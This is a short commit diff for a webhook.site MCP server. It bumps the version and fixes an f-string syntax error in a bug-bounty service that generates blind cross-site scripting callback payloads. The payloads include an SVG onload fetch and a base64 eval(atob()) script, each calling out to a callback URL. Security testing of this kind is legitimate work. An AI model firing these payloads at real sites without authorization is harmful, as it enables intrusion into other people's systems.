Fix: Resolve nested f-string syntax error in bugbounty_service.py (v2.0.4)

Author: zebbern

pyproject.toml

@@ -1,6 +1,6 @@
 [project]
 name = "webhook-mcp-server"
-version = "2.0.3"
+version = "2.0.4"
 description = "MCP Server for webhook.site API integration with layered architecture"
 requires-python = ">=3.10"
 dependencies = [

services/bugbounty_service.py

@@ -216,7 +216,8 @@ def generate_xss_callback(
         payloads["svg"] = f'<svg onload="fetch(\'{callback_url}?xss=svg{id_part}\')">'
 
         # Encoded variants
-        payloads["base64"] = f'<script>eval(atob("{self._base64_encode(f"fetch('{callback_url}?xss=b64{id_part}')")}")</script>'
+        encoded_fetch = f"fetch('{callback_url}?xss=b64{id_part}')"
+        payloads["base64"] = f'<script>eval(atob("{self._base64_encode(encoded_fetch)}"))</script>'
         payloads["unicode"] = self._unicode_encode(f'<script>fetch("{callback_url}?xss=uni{id_part}")</script>')
 
         return ToolResult(